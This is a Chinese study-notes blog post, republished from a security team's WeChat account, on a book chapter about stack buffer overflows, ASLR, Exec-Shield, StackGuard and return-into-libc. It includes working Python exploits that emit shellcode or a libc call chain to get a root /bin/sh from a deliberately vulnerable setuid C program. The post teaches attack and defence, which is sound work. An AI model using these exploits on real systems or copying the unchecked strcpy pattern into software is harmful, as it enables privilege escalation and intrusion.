利用软件的漏洞进行攻击

admin 2022年6月18日23:10:27230 views字数 5563阅读18分32秒阅读模式

利用软件的漏洞进行攻击

前言

本篇继续阅读学习《有趣的二进制:软件安全与逆向分析》,本章是利用软件的漏洞进行攻击,简单介绍了缓冲区溢出漏洞的原理和示例,然后给出了一些防御措施,最后介绍了对防御机制的绕过方法

一、利用缓冲区溢出来执行任意代码

1、缓冲区溢出示例

缓冲区溢出(buffer overflow):最有名的漏洞之一,输入的数据超出了程序规定的内存 范围,数据溢出导致程序发生异常

 

一个简单例子

#include <string.h>


int main(int argc, char *argv[])
{
    char buff[64];
    strcpy(buff, argv[1]);
    return 0;
}

这个程序为 buff 数组分配了一块 64 字节的内存空间,但传递给程序的 参数 argv[1] 是由用户任意输入的,因此参数的长度很有可能会超过 64 字节

 

因此,当用户故意向程序传递一个超过 64 字节的字符串时,就会在 main 函数中引发缓冲区溢出

2、让普通用户用 ROOT 权限运行程序

setuid :让用户使用程序的所有者权限来运行程序

 

一个 sample

#include <unistd.h>
#include <sys/types.h>


int main(int argc, char *argv[])
{
    char *data[2];
    char *exe = "/bin/sh";


    data[0] = exe;
    data[1] = NULL;


    setuid(0); //使用了setuid
    execve(data[0], data, NULL); //调用/bin/sh
    return 0;
}

以root权限编译

 

#include <unistd.h>
#include <sys/types.h>


int main(int argc, char *argv[])
{
    char *data[2];
    char *exe = "/bin/sh";


    data[0] = exe;
    data[1] = NULL;


    setuid(0); //使用了setuid
    execve(data[0], data, NULL); //调用/bin/sh
    return 0;
}

会看到权限变成了“rws”,这表示已经启用了 setuid

 

此时以普通用户权限运行这个程序时,就会用 root 权限调用 execve 函数

3、通过缓冲区溢出夺取权限示例

一个有漏洞的sample:会将输入的字符串原原本本地复制到一块只有 64 字节的内存空间中,由于字符串是由用户任意输入的,会有缓存溢出漏洞

 

#include <stdio.h>
#include <string.h>


unsigned long get_sp(void)
{
    __asm__("movl %esp, %eax");
}


int cpy(char *str)
{
    char buff[64];
    printf("0x%08lx", get_sp() + 0x10);
    getchar();
    strcpy(buff, str);
    return 0;
}


int main(int argc, char *argv[])
{
    cpy(argv[1]);
    return 0;
}

一个exp

 

#!/usr/local/bin/python


import sys
from struct import *


if len(sys.argv) != 2:
  addr = 0x41414141
else:
  addr = int(sys.argv[1], 16)


s  = ""
s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8
s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16
s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24
s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32
s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64
s += "\x90\x90\x90\x90"+pack('<L',addr) #72


sys.stdout.write(s)

将 exploit.py 的输出结果输入给 sample.c,我们就成功地以 root 权限运行了 /bin/sh

./sample "`python exploit.py bfbfebe8`"

4、执行任意代码的原理

在函数调用的结构中会用到栈的概念

 

一个sample:

func 函数有三个参数,分别传递了 1、2、3 三个数字

func 函数内部没有进行任何处理

void func(int x, int y, int z)
{
    int a;
    char buff[8];
}


int main(void)
{
    func(1, 2, 3);
    return 0;
}

查看汇编

.file  "sample4.c"
  .text
  .p2align 4,,15
.globl func
  .type  func, @function
func:
  pushl  %ebp    保存ebp
  movl  %esp, %ebp  将ebp移动到esp的位置
  subl  $16, %esp
  leave        恢复ebp和esp
  ret          跳转到调用该函数的位置
  .size  func, .-func
  .p2align 4,,15
.globl main
  .type  main, @function
main:
  leal  4(%esp), %ecx
  andl  $-16, %esp
  pushl  -4(%ecx)
  pushl  %ebp
  movl  %esp, %ebp
  pushl  %ecx
  subl  $12, %esp  先将参数放入栈中
  movl  $3, 8(%esp)  参数3
  movl  $2, 4(%esp)  参数2
  movl  $1, (%esp)  参数1
  call  func    调用func
  movl  $0, %eax
  addl  $12, %esp
  popl  %ecx
  popl  %ebp
  leal  -4(%ecx), %esp
  ret
  .size  main, .-main
  .ident  "GCC: (GNU) 4.2.2 20070831 prerelease [FreeBSD]"

当调用 func 函数时,在跳转到函数起始地址的瞬间,栈的情形如下图 所示:

利用软件的漏洞进行攻击

接下来, push ebpesp 继续递减,为函数内部的局部变量分配内存空间

利用软件的漏洞进行攻击

这时,如果数据溢出,超过了原本分配给数组 buff 的内存空间,数组 buff 后面的 %ebp、ret_addr 以及传递给 func 函数的参数都会被溢出的数据覆盖掉

 

ret_addr 存放的是函数逻辑结束后返回 main 函数的目标地址。也就是说,如果覆盖了 ret_addr,攻击者就可以让程序跳转到任意地址。如果攻击者事先准备一段代码,然后让程序跳转到这段代码,也就相当于成功攻击了“可执行任意代码的漏洞”

5、攻击代码示例

一个能够启动 /bin/sh 的sample

#include <unistd.h>


int main(void)
{
    char *data[2]; //声明一个 char 型的指针数组
    char sh[] = "/bin/sh";


    data[0] = sh; //在 data[0] 中存入 /bin/sh 字符串的指针
    data[1] = NULL; //在 data[1] 中存入 NULL


    execve(sh, data, NULL);
    return 0;
}

二、防御攻击的技术

1、ASLR

地址空间布局随机化(Address Space Layout Randomization,ASLR):一种对栈、模块、动态分配的内存空间等的地址(位置)进行随机配置的机制,属于操作系统的功能

 

一个test:在启用 ASLR 的状态下,反复运行这个程序,我们会发现每次显示的地址都不同

// $ gcc test00.c -o test00
#include <stdio.h>
#include <stdlib.h>
unsigned long get_sp(void)
{
  __asm__("movl %esp, %eax");
}
int main(void)
{
  printf("malloc: %p\n", malloc(16));
  printf(" stack: 0x%lx\n", get_sp());
  return 0;
}

当启用 ASLR 时,程序所显示的地址每次都不同,因此,我们无法将正确的地址传递给 exp,也就无法成功夺取系统权限了

2、Exec-Shield

Exec-Shield :一种通过“限制内存空间的读写和执行权限”来防御攻击的机制,除存放可执行代码的内存空间以外,对其余内存空间尽量禁用执行权限

 

通常情况下我们不会在用作栈的内存空间里存放可执行的机器语言代码,因此我们可以将栈空间的权限设为可读写但不可执行

在代码区域中存放的机器语言代码,通常情况下也不需要在运行时进行改写,因此我们可以将这部分内存的权限设置为不可写入

这样一来,即便我们将 shellcode 复制到栈,如果这些代码无法执行, 那么就会产生 Segmentation fault,导致程序停止运行

 

注:要在系统中查看某个程序进程内存空间的读写和执行权限,在程序运行时输出 /proc/<PID>/maps 就可以

3、StackGuard

StackGuar:一种在编译时在各函数入口和出口插入用于检测栈数据完整性的机器语言代码的方法,它属于编译器的安全机制

 

一个示例

  .file  "test.c"
  .text
.globl get_sp
  .type  get_sp, @function
get_sp:
  pushl  %ebp
  movl  %esp, %ebp
#APP
# 5 "test.c" 1
  movl %esp, %eax
  addl $0x58, %eax
# 0 "" 2
#NO_APP
  popl  %ebp
  ret
  .size  get_sp, .-get_sp
  .section  .rodata
.LC0:
  .string  "0x%08lx"
  .text
.globl main
  .type  main, @function
main:
  pushl  %ebp
  movl  %esp, %ebp
  andl  $-16, %esp
  subl  $64, %esp
  movl  12(%ebp), %eax
  movl  %eax, 28(%esp)
  movl  %gs:20, %eax    每次运行时%gs:20中都会存入一个随机数
  movl  %eax, 60(%esp)    将随机值添加到栈的最后,由于 60(%esp) 后面就是 ebp 和 ret_addr, 因此这样的配置可以保护关键地址的数据不被篡改
  xorl  %eax, %eax
  call  get_sp
  movl  $.LC0, %edx
  movl  %eax, 4(%esp)
  movl  %edx, (%esp)
  call  printf
  call  getchar
  movl  28(%esp), %eax
  addl  $4, %eax
  movl  (%eax), %eax
  movl  %eax, 4(%esp)
  leal  44(%esp), %eax
  movl  %eax, (%esp)
  call  strcpy
  movl  $0, %eax
  movl  60(%esp), %edx    将栈的最后一个值
  xorl  %gs:20, %edx    与%gs:20进行对比
  je  .L5            如果一致则跳转到.L5
  call  __stack_chk_fail  否则跳转到强制终止代码
.L5:
  leave
  ret
  .size  main, .-main
  .ident  "GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3"
  #.section  .note.GNU-stack,"",@progbits

简单来说,StackGuard 机制所保护的是 ebp 和 ret_addr,是一种针对典型栈缓冲区溢出攻击的防御手段

三、 绕开安全机制的技术

1、Return-into-libc

Return-into-libc 是一种破解 Exec-Shield 的方法

 

思路:即便无法执行任意代码,最终只要能够运行任意程序,也可以夺取系统权限

原理:通过调整参数和栈的配置,使得程序能够跳转到 libc.so 中的 system 函数以及 exec 类函数,借此来运行 /bin/sh 等 程序。

 

exp如下:system 函数的返回目标设为 exit,并将 /bin/sh 的地址作为参数传递过去

#!/usr/bin/python


import sys
from struct import *


if len(sys.argv) != 2:
  addr = 0x41414141
else:
  addr = int(sys.argv[1], 16) + 0x08


fsystem = int("<16进制system地址>", 16)
fexit   = int("<16进制exit地址>", 16)


data  = "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += "\x90\x90\x90\x90\x90\x90\x90\x90"
data += pack('<L', fsystem)
data += pack('<L', fexit)
data += pack('<L', addr)
data += "/bin/sh"


sys.stdout.write(data)

2、ROP

面向返回编程(Return-Oriented-Programming,ROP):利用未随机化的那些模块内部的汇编代码,拼接出我们所需要的程序逻辑,第5章再提

结语

主要是最经典最基础的缓冲区溢出的介绍,然后有些基础防御和绕过


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

原文始发于微信公众号(红客突击队):利用软件的漏洞进行攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月18日23:10:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用软件的漏洞进行攻击https://cn-sec.com/archives/1127059.html
评论  2  访客  2
    • not 0

      代码缩成一行是真的不方便看

        • admin

          @ not 已更新~

      发表评论

      匿名网友 填写信息